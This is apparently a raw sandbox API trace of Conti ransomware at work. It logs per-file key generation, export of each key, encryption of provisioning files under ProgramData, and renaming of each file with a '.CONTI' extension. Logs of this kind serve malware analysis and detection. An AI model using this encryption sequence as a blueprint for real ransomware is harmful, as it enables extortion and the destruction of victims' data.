	[0111.811] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0111.811] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0111.811] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0111.812] GetProcessHeap () returned 0x1720000
	[0111.812] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.812] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.812] GetProcessHeap () returned 0x1720000
	[0111.812] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807608 | out: hHeap=0x1720000) returned 1
	[0111.812] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.812] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x18010b0 | out: phKey=0x18010b0*=0x6b7f4f8) returned 1
	[0111.812] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18010b4, pdwDataLen=0x4fbf86c | out: pbData=0x18010b4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.813] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.813] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.814] GetLastError () returned 0x0
	[0111.814] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=724) returned 1
	[0111.814] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0111.814] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.814] SetEndOfFile (hFile=0x40c) returned 1
	[0111.814] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.814] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.814] WriteFile (in: hFile=0x40c, lpBuffer=0x18010b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x18010b4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.816] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.816] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2d4, lpOverlapped=0x0) returned 1
	[0111.816] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d4, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2e0) returned 1
	[0111.816] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.816] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.816] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.816] WriteFile (in: hFile=0x40c, lpBuffer=0x18010a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x18010a8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.816] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.816] CloseHandle (hObject=0x40c) returned 1
	[0111.816] GetProcessHeap () returned 0x1720000
	[0111.816] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.816] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml"
	[0111.816] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.816] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.817] GetProcessHeap () returned 0x1720000
	[0111.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.817] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0111.817] GetProcessHeap () returned 0x1720000
	[0111.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d020 | out: hHeap=0x1720000) returned 1
	[0111.817] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.817] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x1802c10 | out: phKey=0x1802c10*=0x6b7f6b8) returned 1
	[0111.817] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1802c14, pdwDataLen=0x4fbf86c | out: pbData=0x1802c14*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.818] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0111.818] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.818] GetLastError () returned 0x0
	[0111.818] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=480) returned 1
	[0111.818] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0111.819] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.819] SetEndOfFile (hFile=0x40c) returned 1
	[0111.819] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.819] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.819] WriteFile (in: hFile=0x40c, lpBuffer=0x1802c14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x1802c14*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.821] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.821] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.821] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1f0) returned 1
	[0111.821] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.821] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1f0, lpOverlapped=0x0) returned 1
	[0111.821] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.821] WriteFile (in: hFile=0x40c, lpBuffer=0x1802c08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x1802c08*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.821] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.821] CloseHandle (hObject=0x40c) returned 1
	[0111.821] GetProcessHeap () returned 0x1720000
	[0111.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.821] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.822] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.822] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.822] GetProcessHeap () returned 0x1720000
	[0111.822] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.822] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0111.822] GetProcessHeap () returned 0x1720000
	[0111.822] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80748 | out: hHeap=0x1720000) returned 1
	[0111.822] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.822] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x1802e58 | out: phKey=0x1802e58*=0x6b7f338) returned 1
	[0111.823] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1802e5c, pdwDataLen=0x4fbf86c | out: pbData=0x1802e5c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.823] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.824] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.824] GetLastError () returned 0x0
	[0111.824] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=701) returned 1
	[0111.824] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0111.824] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.824] SetEndOfFile (hFile=0x40c) returned 1
	[0111.825] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.825] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.825] WriteFile (in: hFile=0x40c, lpBuffer=0x1802e5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x1802e5c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.826] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.826] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2bd, lpOverlapped=0x0) returned 1
	[0111.826] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2bd, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2c0) returned 1
	[0111.826] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.826] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.827] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.827] WriteFile (in: hFile=0x40c, lpBuffer=0x1802e50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x1802e50*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.827] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.827] CloseHandle (hObject=0x40c) returned 1
	[0111.827] GetProcessHeap () returned 0x1720000
	[0111.827] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.827] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml"
	[0111.827] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.827] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.828] GetProcessHeap () returned 0x1720000
	[0111.828] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.828] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0111.828] GetProcessHeap () returned 0x1720000
	[0111.828] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18086b0 | out: hHeap=0x1720000) returned 1
	[0111.828] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.828] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17fee78 | out: phKey=0x17fee78*=0x6b7f2b8) returned 1
	[0111.828] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17fee7c, pdwDataLen=0x4fbf86c | out: pbData=0x17fee7c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.829] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0111.829] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.829] GetLastError () returned 0x0
	[0111.829] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=473) returned 1
	[0111.829] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9
	[0111.829] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.829] SetEndOfFile (hFile=0x40c) returned 1
